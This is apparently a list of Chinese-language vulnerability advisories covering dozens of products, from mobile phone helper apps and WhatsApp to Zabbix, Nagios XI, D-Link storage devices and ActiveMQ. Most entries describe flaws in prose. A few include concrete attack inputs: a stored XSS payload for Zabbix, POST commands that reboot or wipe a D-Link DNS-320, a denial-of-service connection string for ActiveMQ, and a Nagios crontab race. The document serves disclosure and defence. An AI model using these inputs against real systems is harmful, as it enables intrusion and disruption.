360手机助手是一款通过WIFI网络或USB数据线同Android操作系统手机进行联通，传输用户的短信、联系人及音乐、照片等数据的应用程序，需要一个PC端程序和手机端程序相互配合实现功能。360手机助手的手机端程序存在文件管理配置漏洞。在开启360手机助手的手机端程序时，程序会开放36021端口服务，该服务用于管理手机操作系统文件系统。由于存在较弱的默认用户名和密码，处于手机同一WIFI局域网的任意用户可以直连目标手机，取得手机文件系统的管理权限。
豌豆荚手机精灵是一款通过WIFI或USB数据线同Android操作系统手机进行联通，传输用户的短信、联系人及音乐、照片等数据的应用程序，需要一个PC端程序和手机端程序相互配合实现功能。豌豆荚手机精灵的手机端程序存在文件管理配置漏洞，在开启豌豆荚手机精灵的手机端程序时，程序会开放2123端口服务。由于存在较弱的默认用户名和密码，处于手机同一WIFI局域网的任意用户可以直连目标手机，取得手机文件系统的管理权限。
Zope是一个开源的web应用服务器，主要用python写成。Zope在实现上存在安全漏洞，细节现在未知。
Content Papst CMS存在信息泄露漏洞。攻击者可以利用漏洞获得敏感信息。
Content Papst CMS存在HTML注入漏洞。攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码。
Cyberoam UTM是一款多功能网关，具有身份导向功能的整合威胁管理解决方案。Cyberoam UTM存在SQL注入漏洞。由于应用程序在被用于SQL查询前未能充分过滤用户提供的数据，攻击者可以利用利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
libfpx是一款图像库。"Free_All_Memory()"函数(jpeg/dectile.c在释放某些解码元素后没有设置为NULL，攻击者构建特制的FPX图像，诱使用户解析，可触发两次释放条件。成功利用漏洞可以以应用程序上下文执行任意代码。
IrfanView是一款功能强大的图片查看程序。当处理包含特殊"Rows Per Strip"和"Samples Per Pixel"值的TIFF图像时存在错误，攻击者构建特制TIFF图像文件，诱使用户解析，可触发基于堆的缓冲区溢出。成功利用漏洞可以以应用程序上下文执行任意代码。
WhatsApp是一款跨平台交换信息的app。WhatsApp存在安全漏洞，由于使用明文协议，可执行中间人攻击的攻击者可读取消息或修改消息。
WhatsApp是一款跨平台交换信息的app。WhatsApp存在安全漏洞，攻击者可以通过暴力猜测可注册任意电话号码。
WhatsApp是一款跨平台交换信息的app。WhatsApp存在安全漏洞，可更新任意用户的状态，通过提供任意WhatsApp注册电话号码和状态更新文本，无需授权更改用户状态。
Social Network Community存在安全漏洞，允许恶意用户进行SQL注入攻击。通过"userId"参数传递给user.php的输入在用于SQL查询之前缺少过滤，攻击者可以利用漏洞注入任意SQL代码，可操作数据库或获得对应用程序的控制。
Microsoft Windows是一款流行的操作系统。Microsoft Windows 7存在一个安全漏洞，允许恶意用户破坏控制系统。问题存在于win32k.sys中，攻击者构建一个恶意WEB页，其中包含设置超大"height"属性的IFRAME，诱使用户使用Apple Safari浏览器查看此页面，可触发内存破坏。成功利用漏洞可以以内核上下文执行任意代码。
Owl Intranet Engine是一款基于PHP的WEB应用程序。设置WEB浏览器不进行重定向，提交特殊的'userid'参数，可绕过验证，执行管理操作。
Hitachi JP1/ServerConductor/DeploymentManager存在安全漏洞，允许恶意用户获得敏感信息。DeploymentManager PXE Mtftp服务存在输入验证错误，攻击者通过目录遍历序列可下载任意位置的文件，获得敏感信息。
Citrix XenApp是一款端到端的Windows应用交付系统，可以实现客户端和服务器端的应用虚拟化。默认情况下，在Citrix Receiver客户端到WEB接口的验证没有配置使用SSL，如果公司选择不使用SSL，在Citrix Receiver客户端到WEB接口之间的XML事务传递给enum.aspx和launch.aspx会包含用户名和编码的密码。如果攻击者能截获此验证通信，就可以使用编码后的密码通过Citrix Receiver来执行"pass-the-hash"类型攻击，以目标用户上下文登录，获得对用户虚拟桌面的访问。
Joomla! 是一款开放源码的内容管理系统(CMS)。  Joomla!的com_dshop组件中存在SQL注入漏洞，该漏洞源于对用户提供的数据在用于SQL查询之前未经充分过滤。攻击者可利用该漏洞操控应用程序，访问或修改数据，或者在底层数据库中利用该漏洞。
WebSVN是一个基于Web的Subversion Repository浏览器。通过"path"参数传递给comp.php或revision.php脚本的输入在返回用户之前svnlook.php脚本中的"getLog()"函数对此缺少过滤，可被利用进行跨站脚本攻击。构建恶意URL，诱使用户解析，可获得敏感信息或劫持用户会话。
Video Community Portal存在安全漏洞，允许恶意用户进行SQL注入攻击。通过 "id" 参数传递给index.php(当"d"设置给"user")的输入在用于SQL查询之前缺少过滤，攻击者可以利用漏洞注入任意SQL代码，可操作数据库或获得对应用程序的控制。
SecSigner可对文档创建和校验数字签名。签名的Java Applet SecSigner使用文件"secsigner.properties"来配置applet的某些设置，其中包括可设置"seccommerce.resource"变量，用于定义在执行applet提供额外功能时所需加载的文件。如果设置"seccommerce.resource.localcopy"为"on"，此文件保存在客户端本地临时文件夹"user\.seccommerce"中。但是存在漏洞可通过路径遍历定义任意不同的相对路径。所需的是在相同路径必须存在applet执行的web服务器。可以选择任意文件用于"seccommerce.resource"文件。攻击者可以上传任意文件到目标机器中的任意路径，包括Windows "startup" 文件夹。
Novell Sentinel Log Manager是一款日志管理软件设备。通过"filename"参数传递给novelllogmanager/FileDownload的输入在使用之前缺少正确过滤，攻击者可以通过目录遍历序列下载本地资源中的任意文件。
vsftpd是Very Secure FTP daemon的缩写，是UNIX类平台上安全的FTP服务器。vsftpd的__tzfile_read()函数在实现上存在堆缓冲区溢出漏洞，攻击者可利用此漏洞执行任意代码，可能造成拒绝服务。
mPDF可以把UTF-8编码的HTML文件转换成PDF文档的PHP开源类库。传递给examples/show_code.php "filename"参数的输入在用于返回PDF文档中的文件内容时缺少校验，可被利用通过目录遍历攻击获取本地资源任意文件。
mnoGoSearch是一个为MySQL、PostgreSQL等数据库服务器提供高速搜索功能的工具软件。通过超文本链接中主机名提供的输入在用于SQL查询之前缺少过滤，可被利用注入任意SQL代码操作数据库或控制应用程序。要成功利用漏洞需要数据库在单个查询中允许多个语句(如MySQL上"ClientMultiStatement" 选项设置为"yes")。
Flirt-Projekt存在安全漏洞，允许恶意用户进行SQL注入攻击。通过"rub"参数传递给rub2_w.php的输入在用于SQL查询之前缺少过滤，攻击者可以利用漏洞注入任意SQL代码，可操作数据库或获得对应用程序的控制。
Enterasys Network Management Suite是一款集中式网络管理系统。默认监听UDP 514端口的nssyslogd.exe组件存在缺陷，当解析新的syslog消息时进程会尝试拷贝PRIO字段到中间变量。进程没有正确校验目的缓冲区大小，拷贝用户数据到栈的固定长度缓冲区时可导致以应用程序上下文执行任意代码。
DSL-500T是一款带有路由功能的ADSL2 终端，它通过以太网接口与计算机相连，具有强大的路由功能，是家庭、办公室和SOHO用户的理想选择。D-Link DSL-500T ADSL路由器在实现上存在可预测资源位置、暴力猜测和跨站请求伪造漏洞，可被恶意用户利用更改路由器设置、暴力猜测密码、执行CSRF攻击和远程登录。
zabbix是一款CS结构的分布式网络监控系统。当创建用户和主机组时不正确过滤gname变量，如下URL可导致持久型XSS攻击：URL:  hostgroups.php  usergrps.php 受影响参数:  gname 方法:  POST 注入：  "</options><script>alert('XSS')</script>  Persists in: http://test/zabbix/hostgroups.php http://test/zabbix/users.php http://test/zabbix/hosts.php?form=update
AIX是一个基于开放标准的UNIX操作系统，为用户提供企业信息技术基础架构。IBM AIX在实现上存在安全漏洞，细节目前未知。
Splunk是一个运行于Unix环境下的日志分析软件。Splunk存在跨站请求伪造漏洞。攻击者可以利用漏洞披露或修改敏感信息并执行未经授权的操作。
Splunk是一个运行于Unix环境下的日志分析软件。Splunk存在跨站脚本漏洞。攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie身份验证凭据。
Drupal是一个开源的内容管理系统(CMS) 平台，它是用PHP写成的。String Overrides Module是它的一个语言模块。Drupal Meta tags quick module存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发起其他攻击。
Websense是一款可以监控邮件，上网活动等网络管理解决方案。Websense Triton存在远程命令执行漏洞。攻击者可以利用漏洞以系统权限执行任意命令，导致受影响的计算机的完整。
Browser CRM存在跨站脚本漏洞。由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞窃取基于Cookie的身份验证凭据。
Browser CRM存在SQL注入漏洞。由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
Websense是一款可以监控邮件，上网活动等网络管理解决方案。sense Triton存在HTML注入漏洞。由于应用程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响站点的上下文中执行HTML和脚本代码，窃取基于Cookie的身份验证凭据并控制网站是如何呈现给用户。
PHP-SCMS存在跨站脚本漏洞。通过'lang'参数输入传递到index.php的输入被返回给用户之前未能正确过滤。攻击者可以利用漏洞在受影响的站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
poMMo存在跨站脚本漏洞，由于应用程序未能充分过滤用户提供的数据，攻击者可利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发起其他攻击。
Websense是业界领先的Web安全和网页过滤解决方案。  Websense多个产品中存在未明认证绕过漏洞。远程攻击者可利用该漏洞绕过认证机制进而获取未授权访问。Websense Web Security Gateway Anywhere 7.6版本， Websense Web Security Gateway 7.6版本，Websense Web Security 7.6版本，Websense Web Filter 7.6版本中存在该漏洞。
Seotoaster 1.9之前版本中存在多个SQL注入漏洞，该漏洞源于对用户提供的数据在被用于SQL查询之前未经充分过滤。攻击者可利用这些漏洞操控该应用程序，访问或者修改数据，或者在底层数据库中利用潜在的漏洞。
Nagios XI 2011R1.9之前的版本中存在HTML注入漏洞和多个跨站脚本漏洞，该漏洞源于对用户提供的输入未经正确过滤。攻击者提供的HTML和脚本代码能够在受影响的浏览器上下文中运行，可能允许攻击者盗取基于cookie的认证证书或者控制网站传达给用户的方式，也可能执行其他的攻击。
Simple PHP Blog是一个采用PHP语言编写的开放源码的免费单用户Blog程序。  Simple PHP Blog中存在多个跨站脚本漏洞，该漏洞源于对用户提供的输入在用于动态生成内容前未经正确过滤。攻击者可利用该漏洞在受影响站点上下文的不知情用户浏览器上执行任意脚本代码，盗取基于cookie的认证证书进而发起其他攻击。Simple PHP Blog 0.7.0版本中存在该漏洞，其他版本也可能受影响。
Bokken是一个Pyew的图形用户界面。应用程序不安全方法创建临时文件，如"/tmp/graph.dot"，本地攻击者可以通过符号链接覆盖任意文件。要成功利用漏洞需要使用了radare后端。
Nagios是一款免费开放源代码的主机和服务监视软件。Nagios XI存在漏洞允许安装任意crontab：文件：        install-crontab-root        install-crontab-nagios        uninstall-crontab-nagios        恶意用户可利用竞争条件控制root和nagios用户的crontab，通过提前创建临时文件(控制权限)攻击者可以在用于更新crontab之前注入条目。如：from install-crontab-root:---#!/bin/shcrontab -l -u root | grep -v "/usr/local/nagiosxi/" > /tmp/root.crontab.newcat nagiosxi/crontab.root >> /tmp/root.crontab.newcrontab -u root /tmp/root.crontab.newrm -f /tmp/root.crontab.new
Nagios是一款免费开放源代码的主机和服务监视软件。Nagios XI存在漏洞允许任意RPM安装，在某些情况下文件匹配/tmp/epel-release*.rpm ,/tmp/rpmforge-release*.rpm和/tmp/php-pear-HTML-Template-IT*.rpm会被安装。如from 0-yum:if ! rpm -q epel-release
Fork CMS存在跨站脚本漏洞。由于应用程序在被用于动态生成的内容前未能正确过滤用户提供的输入，攻击者可利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于Cookie的身份验证凭据并发动其他攻击。
施耐德Schneider Electric Quantum Ethernet Module模块提供的固件存在硬编码问题，其中内置的硬编码验证凭据可用于访问如下服务：FTP服务，允许远程攻击者修改模块WEB站点，下载和运行定制固件，修改HTTP密码。
施耐德Schneider Electric Quantum Ethernet Module模块提供的固件存在硬编码问题，其中内置的硬编码验证凭据可用于访问如下服务：Windriver调试模块用于开发，允许远程攻击者查看模块固件的操作，进行拒绝服务，修改模块内存，执行任意代码。
施耐德Schneider Electric Quantum Ethernet Module模块提供的固件存在硬编码问题，其中内置的硬编码验证凭据可用于访问如下服务：Telnet端口，允许远程攻击者查看模块固件的操作，进行拒绝服务，修改模块内存，执行任意代码。
Yahoo! CD Player是一款媒体播放程序。Yahoo! CD Player ActiveX控件不正确处理Open方法，攻击者可以构建恶意WEB页，诱使用户解析，触发缓冲区溢出，成功利用漏洞可以以应用程序上下文执行任意代码。
WinMount是一款解压缩工具。处理WMDrive.sys中的0x87342000 IOCTL时存在一个空指针引用错误，本地攻击者构建特制的IOCTL发送给"\\?\WMDriver"设备文件名，可导致系统崩溃。
Cacti是一套基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具。Cacti没有对请求进行正确的校验，可导致跨站请求伪造攻击，构建恶意链接，诱使用户解析，可以登录用户上下文执行任意操作。
Cacti是一套基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具。Cacti传递给graph_settings.php "num_columns"参数的输入在使用之前缺少过滤可被利用进行跨站脚本攻击。
Cacti是一套基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具。Cacti传递给graph_settings.php "default_height"和"default_width"参数的输入在返回用户之前缺少过滤，可被利用进行跨站脚本攻击。
Microsoft .NET Framework是一个流行的软件开发工具包。Microsoft .NET Framework存在安全漏洞，允许攻击者绕过特定的上传文件类型的限制，允许攻击者向基于ASP WEB应用上传任意文件。攻击者可以以WEB应用上下文执行任意代码。
Barracuda Web Filter是一款内容过滤产品。Barracuda Web Filter存在多个安全漏洞，允许恶意用户进行脚本注入攻击。部分传递给Schedule Report, Local user Search, Active Directory, NTLM User Search和Backup Test组件的输入在显示给用户之前缺少正确过滤，可被利用注入任意HTML和脚本代码，当恶意数据被查看时这些代码在目标用户浏览器上执行，可获得敏感信息或劫持用户会话等。
Squiz Matrix中存在信息泄露漏洞。攻击者可利用该漏洞枚举系统账号的用户名，获得的信息可能有助于发起进一步攻击。Squiz Matrix 4.4.4和4.6.0版本中存在该漏洞，其他版本也可能受影响。
Winamp是Nullsoft发布的免费音频播放器，支持多种格式。  Winamp中存在多个整数溢出漏洞，该漏洞源于其应用程序对用户提供的输入未执行充分的边界值校验。攻击者可利用该漏洞在应用程序上下文中执行任意代码，攻击失败将会导致拒绝服务。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的GRAND FlAGallery插件中存在跨站脚本漏洞，该漏洞源于对用户提供的输入未经正确过滤。攻击者可利用这些漏洞在受影响站点上下文的不知情用户浏览器上执行任意脚本代码，盗取基于cookie的认证证书进而发起其他攻击。GRAND FlAGallery 1.57版本中存在该漏洞，其他版本也可能受影响。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress UPM Polls插件中存在SQL注入漏洞，该漏洞源于对用户提供的数据在用于SQL查询前未经充分过滤。攻击者可利用该漏洞操控应用程序，访问或修改数据，或者在底层数据库中利用该漏洞。WordPress UPM Polls 1.0.4版本中存在该漏洞，其他版本也可能受影响。
xt:Commerce是基于电子商务引擎的网络购物系统。xt:Commerce存在跨站请求伪造漏洞。攻击者可利用此漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于Cookie的身份验证凭据并发动其他攻击。
PunBB是一款基于PHP的论坛程序。PunBB存在HTML注入漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文内执行HTML和脚本代码，允许攻击者窃取基于Cookie的身份验证凭据并控制网站是如何呈现给用户。
多个SepCity产品存在SQL注入漏洞。由于应用程序在被用于SQL查询前未能充分过滤用户提供的数据，攻击者可以利用漏洞危及用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
DoceboLMS是一款基于PHP的内容管理程序。DoceboLMS存在任意文件上传漏洞，由于传递到index.php中"message[attach]" POST参数(当"modname"设置为"message"，"op"设置为"addmessage"，"from"设置为"out"，"message[subject]"不为空)的输入在被用于上传文件前未能正确验证，攻击者可以利用漏洞上传并执行任意PHP文件。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件UPM Polls存在SQL注入漏洞，由于通过"PID"参数传递到wp-admin/admin-ajax.php (当"action"设置为"upm_ayax_polls_result"，"do"设置为"result"，"type"设置为"general，"post" 设置为"1") 的输入在被用于SQL查询前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码来操纵SQL查询。
Pet Listing 存在跨站脚本漏洞。由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的认证证书并发起其他攻击。
CoDeSys Automation Suite是工业自动化技术综合软件工具。CoDeSys在实现上存在多个远程拒绝服务漏洞，远程攻击者可利用此漏洞使应用程序崩溃，拒绝服务合法用户。
Sun Java Runtime Environment是一款为JAVA应用程序提供可靠的运行环境的解决方案。Sun Java Runtime Environment的Java Update机制在实现上存在安全限制绕过漏洞。攻击者可利用此漏洞绕过安全限制，执行非法操作。
hitAppoint中存在SQL注入漏洞，该漏洞源于对用户提供的数据在用于SQL查询前未经充分过滤。攻击者可利用该漏洞操控应用程序，访问或修改数据，或者在底层数据库中利用该漏洞。hitAppoint 4.5.17版本中存在该漏洞，其他版本也可能受影响。
SePortal中存在SQL注入漏洞，该漏洞源于对用户提供的数据在用于SQL查询前未经充分过滤。攻击者可利用该漏洞操控应用程序，访问或修改数据，或者在底层数据库中利用该漏洞。SePortal 2.5版本中存在该漏洞，其他版本也可能受影响。
DoceboLMS 4.0.4及之前版本中存在多个任意代码上传漏洞和SQL注入漏洞。攻击者可利用该漏洞上传任意文件，操控应用程序，访问或修改数据；或者在底层数据库中利用该漏洞。
HitAppoint存在SQL注入漏洞。由于通过"username"参数传递至index.php 的输入（如果"nts-panel"被设置为"anon/login"）在被用于SQL查询之前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码来操作SQL查询。
SePortal存在SQL注入漏洞。由于通过"goto"参数传递至redirect.php的输入（当"action"被设置为"banner"时）在被用于SQL查询之前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码来操作SQL查询。
HTC Touch2 T3333是一款基于WM6.5系统的3G智能手机。HTCVideoPlayer是HTC Windows移动设备的默认媒体播放器，当解析3g2视频格式的stbl atom时存在一个内存破坏漏洞。构建恶意文件，诱使用户解析，可导致应用程序崩溃。
CyberLink Power2Go是一款流行的刻录软件。当解析项目文件的文件名字段时WaveEditor项目编辑器存在边界错误，构建特制的WVE文件，诱使用户解析，可触发基于栈的缓冲区溢出。
CyberLink Power2Go是一款流行的刻录软件。当解析项目文件的文件名字段时Power2Go项目编辑器存在边界错误，构建特制的P2G文件，诱使用户解析，可触发基于栈的缓冲区溢出。
Coremail是一款email服务程序，提供WEB mail服务。coremail在实现上存在缺陷，利用80sec发布的xml解析漏洞可以读取服务器上任意文件，包括服务器配置文件和敏感的数据库文件，结合上下文逻辑可能可以获得更高权限，影响所有使用coremail的用户。coremail服务在接受和传递参数时使用的是xml的格式进行数据传递，但是根据80sec的安全公告，如果服务端在处理xml数据时格式不对就会导致安全漏洞，使用应用上下文的权限来获取任意文件内容，结合逻辑可能可以得到更多的权限。
ConfigServer Firewall是一款防火墙软件。ConfigServer Firewall不正确处理用户提交的输入，远程攻击者可以利用漏洞进行缓冲区溢出攻击，可使应用程序崩溃或可能执行任意代码。
Drupal是一款开源CMS，可以作为各种网站的内容管理平台。  Drupal中的Support Timer模块的6.x-1.7之前的6.x-1.x版本中存在多个跨站脚本漏洞，该漏洞源于对用户提供的输入未经正确过滤。攻击者可利用这些漏洞在受影响站点上下文的不知情用户浏览器中执行任意脚本代码，窃取基于cookie的认证证书进而发起其他攻击。
SugarCRM是开源的客户关系管理系统。  SugarCRM Community Edition中存在多个SQL注入漏洞，该漏洞源于对用户提供的数据在被用于SQL查询之前未经充分验证。攻击者可利用这些漏洞操控应用程序，访问或者修改数据，或者在底层数据库中利用该漏洞。SugarCRM 社区版6.3.0RC1中存在该漏洞，其他版本中也可能受影响。
QContacts 是一款针对Joomla! 1.5.x 开发的联系人管理组件。QContacts容易产生SQL注入漏洞。远程攻击者成功利用此漏洞可执行任意代码，上述攻击未执行成功也可导致一个拒绝服务条件。
SantriaCMS容易产生SQL注入漏洞。远程攻击者成功利用此漏洞可执行任意代码，上述攻击未执行成功也可导致一个拒绝服务条件。
HP Application Lifestyle Management是一款应用程序生命周期管理解决方案。HP Application Lifestyle Management配置工具包含一个受漏洞影响的'GetInstalledPackages'函数，此函数在升级或卸载HP ALM时使用。本地攻击者可以利用此漏洞获得本地root特权。
D-Link DNS-320是一款为小型企业用户打造的存储设备。  D-Link ShareCenter DNS-320管理WEB接口的验证机制存在错误，可被利用绕过验证检查，执行关机或重启操作。
Asterisk是一款开放源码的软件PBX，支持各种VoIP协议和设备。在features.conf中启用"automon"功能，发送特殊的SIP请求序列，可导致Asterisk引用空指针而崩溃。
Asterisk是一款开放源码的软件PBX，支持各种VoIP协议和设备。不同的NAT设置，可被用来枚举SIP末端，远程攻击者可以利用漏洞获得SIP用户名信息。
Adobe Flash Player是一款Flash文件处理程序。VulnDisco报告Adobe Flash Player存在一个未明安全漏洞，允许攻击者控制目标用户系统，目前没有详细漏洞细节提供。
Trend Micro Control Manager（TMCM）是趋势科技提供的集中安全管理控制台，可以对趋势科技产品与服务进行统一协调。运行在TCP 20101端口上的CmdProcessor.exe服务存在缺陷，受影响函数是cmdHandlerRedAlertController.dll提供的CGenericScheduler::AddTask，当处理特制的IPC报文时，控制的数据会拷贝到256字节的栈缓冲区中，可以当前用户上下文执行任意代码。
Axis M10 Series Network Cameras中存在跨站脚本漏洞，该漏洞源于对用户提供的数据未经充分过滤。攻击者可利用该漏洞在受影响站点上下文的不知情用户浏览器上执行任意脚本代码，盗取基于cookie的认证证书进而发起其他攻击。Axis M1054 firmware 5.21版本中存在该漏洞，其他版本也可能受影响。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的s2Member插件11206之前版本中存在安全绕过漏洞。攻击者可利用该漏洞访问任意产品而不使用任何权限。
MyPage插件0.2.3及之前版本中存在SQL注入漏洞，该漏洞源于对用户提供的数据在用于SQL查询前没有经过充分的过滤，攻击者可利用该漏洞操控应用程序，访问或修改数据，或者在底层数据库中利用该漏洞。
SourceBans 1.4.8及之前的版本中存在本地文件包含漏洞和SQL注入漏洞。攻击者可利用这些漏洞操控应用程序，访问或修改数据，在底层数据库中利用该漏洞；或者在web服务器上下文中查看和执行任意本地文件。
Apache Struts中存在安全绕过漏洞。攻击者可利用该漏洞绕过安全限制获得未授权访问，对会话进行干涉。Apache Struts 2.0.9和2.1.8.1版本中存在该漏洞，其他版本也可能受影响。
SourceBans容易产生SQL注入漏洞。攻击者可以利用这些问题在受影响的机器上执行任意代码，达到攻击的目的。
phpBB是一个论坛软件，使用PHP语言开发的并开放其原始码。phpBB MyPage插件容易出现SQL注入漏洞，攻击者可以利用这个漏洞获得用户计算机权限进行恶意行为攻击。
Opera是一款开放源代码的WEB浏览器。Opera处理缓存对象时在实现上存在安全漏洞，远程攻击者可利用此漏洞枚举已浏览的站点，获取敏感信息。
Five Star容易产生远程SQL注入漏洞，攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
Traq是一款基于PHP/MySQL的项目管理软件。定义在/admincp/common.php中的authenticate()函数存在错误：    27.    function authenticate()    28.    {    29.        global $user;    30.            31.        if(!$user->group['is_admin'])    32.            header("Location: login.php");    33.    }此函数可被/admicp/目录中的每个脚本调用，需要管理员权限，但是由于header()函数没有停止执行流程可绕过验证机制，恶意用户可以利用此漏洞执行管理员功能，借助plugins.php可执行任意PHP代码。
Foxit Reader是一款流行的处理PDF文件的应用程序。Foxit Reader打开特制的PDF文件时存在一个安全问题，此问题是由于跨界数组分配引起的，可触发内存破坏。
PEC php calendars script容易产生SQL注入漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码。
百度Hi是集文字消息、音视频通话、文件传输等功能的即时通讯软件。baidu hi存在安全漏洞，攻击者可以利用漏洞发送恶意消息，造成接收端堆破坏。
Adobe Flash Player 是一款高性能、轻量型且极具表现力的客户端运行的播放器。  Adobe Flash Player中存在多个未明远程代码执行漏洞。攻击者可利用该漏洞在受影响应用程序的上下文中执行任意代码，攻击失败可能导致拒绝服务。
EPay Enterprise中存在SQL注入漏洞，该漏洞源于对用户提供的数据在用于SQL查询前未经过充分过滤。攻击者利用该漏洞可操控应用程序，访问或修改数据，或者在底层数据库执行该漏洞。EPay Enterprise 4.0版本中存在该漏洞，其他版本也可能受影响。
Meditate Web Content Editor的'username_input'容易产生SQL注入漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码达到攻击的目的。
Psi是一款Jabber（XMPP）网络协议的即时通讯软件，使用了Qt库。Psi不正确处理SSL证书的公共名，攻击者可以利用此漏洞显示不正确的SSL证书，成功利用此漏洞允许目标用户盲目接收非法证书。
Opera是一款开放源代码的WEB浏览器。应用域限制来处理一些顶级域名中的cookies和脚本内容时存在错误，顶级域名中的其他站点可利用此错误访问其他站点的cookie信息或与脚本进行通信。
Opera是一款开放源代码的WEB浏览器。运行在给定WEB站点上的脚本不允许查看其他站点上的变量内容，也不能检查它们是否存在。此策略没有正确在"in"运算符上实现，允许WEB站点检查其他域上站点上存在的变量，它们的内容不能读取，但存在性可泄露有限的信息，如登录状态。
Opera是一款开放源代码的WEB浏览器。Opera存在一个未明错误，目前没有详细漏洞细节提供。
Opera是一款开放源代码的WEB浏览器。Opera存在一个安全漏洞，可通过非破坏性缓存时序来提取历史信息，攻击者构建恶意WEB页，诱使用户解析，可获得已访问站点的敏感信息。
Microsoft Internet Explorer是一款流行的WEB浏览器。Microsoft Internet Explorer存在一个安全漏洞，可通过非破坏性缓存时序来提取历史信息，攻击者构建恶意WEB页，诱使用户解析，可获得已访问站点的敏感信息。
GNU C库是一款按照LGPL许可协议发布的，公开源代码的C编译程序。"__tzfile_read()"函数(time/tzfile.c)存在错误，攻击者构建特制的时区文件可触发基于堆的缓冲区溢出。成功利用漏洞可以允许执行任意代码，但需要上传恶意时区文件，如上传到FTP服务器上的chroot环境中。
Google Chrome是一款流行的WEB浏览器。Google Chrome存在一个安全漏洞，可通过非破坏性缓存时序来提取历史信息，攻击者构建恶意WEB页，诱使用户解析，可获得已访问站点的敏感信息。
Meditate中存在SQL注入漏洞，该漏洞源于对用户提供的数据在用于SQL查询前没有经过充分的过滤。攻击者可利用该漏洞操控应用程序；访问或修改数据；或者在底层数据库中利用该漏洞。Meditate 1.1版本中存在该漏洞，之前的版本也可能受影响。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的Pretty Link插件1.5.1之前版本中存在跨站脚本漏洞，该漏洞源于对用户提供的输入没有经过正确的过滤。攻击者可利用该漏洞在受影响站点上下文的不知情用户浏览器上执行任意脚本代码，盗取基于cookie的认证证书进而发起其他攻击。
RhinoSoft Serv-U是一款流行的FTP服务程序。Serv-U当管理用户登录时管理控制台会生成一个弱的会话令牌，允许枚举一个合法令牌，通过FTP反弹攻击创建任意用户。
RhinoSoft Serv-U是一款流行的FTP服务程序。Serv-U当处理监听套接字来处理数据连接时存在错误，可被利用通过大量FTP PASV命令消耗大量TCP端口，导致进程不能再处理后续的被动连接。
SopCast网络电视是一个简单易用的网络电视软件。当sopocx.ocx模块使用SoP协议解析用户输入时存在基于栈的缓冲区溢出，允许攻击者获得对系统的访问和在受影响机器上执行任意代码。当增加514字节字符串到sop://协议上(GET)时，由于没有正确过滤和处理URI段，可导致溢出栈，成功利用漏洞可以以应用程序上下文执行任意代码。
SopCast网络电视是一个简单易用的网络电视软件。SopCast存在一个特权提升问题，可被非特权用户利用更改可执行文件。问题是由于SopCast安装包不正确设置'Diagnose.exe'文件权限，把其设置为'Everyone'组全局可控。
Mozilla Firefox是一款开放源代码的WEB浏览器。Mozilla Firefox存在一个安全漏洞，可通过非破坏性缓存时序来提取历史信息，攻击者构建恶意WEB页，诱使用户解析，可获得敏感信息。
Intel Trusted Execution Technology是一款提供的安全技术，配合支持Intel vPro商用技术的主机板芯片组以及Virtual Machine虚拟机软件，协助保护系统重要数据并避免其受到攻击。Intel可信执行技术SINIT验证代码模块存在一个缓冲区溢出问题，可被利用允许本地进程提升特权。当Intel可信执行技术使用受影响的SINIT验证代码模块调用测量式启动时，平台受操作系统级别的攻击，可破坏某些SINIT ACM功能，包括启动控制策略，并导致系统管理模式控制等。
Family Connections是一个开放源代码的内容管理系统，它可以容易和方便的创建私人家庭站点。Family Connections存在安全漏洞，允许恶意用户控制应用系统。通过"argv[1]"参数传递给dev/less.php的输入在用于"system()"调用之前缺少正确过滤，远程攻击者可以利用漏洞执行任意SHELL命令。
D-Link DNS-320是一款为小型企业用户打造的存储设备。D-Link DNS-320存在多个安全漏洞，可被利用进行拒绝服务攻击。通过带cmd=FMT_restart参数的POST请求允许dsk_mgr.cgi执行重启。通过带cmd=cgi_restart或cmd=cgi_reboo参数的POST请求允许system_mgr.cgi执行重启。通过带cmd=cgi_shutdown参数的POST请求允许system_mgr.cgi执行关机。通过带cmd=cgi_wizard参数的POST请求允许wizard_mgr.cgi执行重置固件。
Apache ActiveMQ是一款开源消息总线，支持JMS1.1和J2EE 1.4规范的JMS Provider实现。Apache ActiveMQ处理openwire连接请求时failover机制存在错误，可被利用触发异常并使broker服务崩溃。攻击者使用如下连接字符串failover:tcp://<IP>:61616提交多个ActiveMQ openwire连接请求，由于'failure'机制，即使合法会话没有创建，所有TCP链接也会保持活跃状态，大量的类似请求可导致连接系统崩溃。
